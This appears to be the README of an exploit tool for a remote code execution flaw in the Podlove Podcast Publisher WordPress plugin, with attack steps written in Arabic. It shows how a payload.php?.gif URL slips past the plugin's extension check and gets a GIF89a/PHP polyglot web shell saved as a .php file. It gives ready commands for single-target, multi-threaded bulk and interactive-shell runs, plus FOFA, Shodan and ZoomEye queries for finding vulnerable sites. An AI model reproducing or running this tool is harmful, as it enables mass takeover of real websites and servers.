// Called with: is_image($temp_file, basename($this->source_url))
// basename("https://attacker.com/payload.php?.gif") returns "payload.php?.gif"
// pathinfo("payload.php?.gif", PATHINFO_EXTENSION) returns "gif"  <- BYPASS!

// parse_url("https://attacker.com/payload.php?.gif")
// path = "/payload.php"  (query string stripped!)
// pathinfo("/payload.php", PATHINFO_EXTENSION) returns "php"

1. يستضيف المهاجم ملف GIF89a PHP متعدد اللغات على: attacker.com/payload.php
   (يبدأ الملف بترويسة GIF89a لكنه يحتوي على كود PHP)

2. يلحق الاستغلال ?.gif بعنوان URL: payload.php?.gif
   ثم يرمّز عنوان URL الكامل بالنظام الست عشري

3. تشغيل تنزيل ذاكرة التخزين المؤقت:
   GET /?podlove_image_cache_url={hex_encoded_url}&podlove_file_name=test

4. معالجة المكوّن الإضافي:
   a. تنزيل الملف من عنوان URL الخاص بالمهاجم
   b. يفحص is_image() المحتوى: تم اكتشاف ترويسة GIF89a - PASS
   c. يفحص is_image() الامتداد: يرى basename "gif" - PASS
   d. يستخدم extract_file_extension() مسار parse_url: يحصل على "php"
   e. يُحفظ الملف باسم: test_original.php

5. موقع الملف:
   /wp-content/cache/podlove/{hash[:2]}/{hash[2:]}/test_original.php

6. يصل المهاجم إلى الملف مع المعاملات -> تحقيق RCE

git clone https://github.com/ghostpel-sec/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt

python3 exploit.py -u http://target.com \
  -s https://yourserver.com/shell_polyglot.gif.php \
  --filename test -v

python3 exploit.py -f targets.txt \
  -s https://yourserver.com/shell_polyglot.gif.php \
  -o vuln.txt -t 15 -v

python3 exploit.py --shell-url http://target.com/wp-content/cache/podlove/a1/b2c3.../test_original.php

python3 exploit.py -u http://target.com \
  -s https://yourserver.com/shell_polyglot.gif.php \
  --filename test --debug

-u, --url          Single target URL
-f, --file         File containing target URLs (one per line)
-s, --shell        URL hosting the GIF89a PHP polyglot
--filename         Custom filename for cached file (default: shell)
--shell-url        Direct URL for interactive mode
-o, --output       Output file for vulnerable targets (bulk mode)
-t, --threads      Number of threads (default: 10)
-v, --verbose      Verbose output
--debug            Debug output (show all HTTP requests)
--no-payload-test  Skip payload accessibility test

GIF89a        <- Valid GIF header (passes exif_imagetype check)
/*            <- Start of comment (GIF binary data is commented out for PHP)

<?php         <- PHP code begins here
// ... code ...
?>

# FOFA
body="podlove-podcasting-plugin-for-wordpress"

# Shodan
http.html:"podlove"

# ZoomEye
app:"Podlove Podcast Publisher"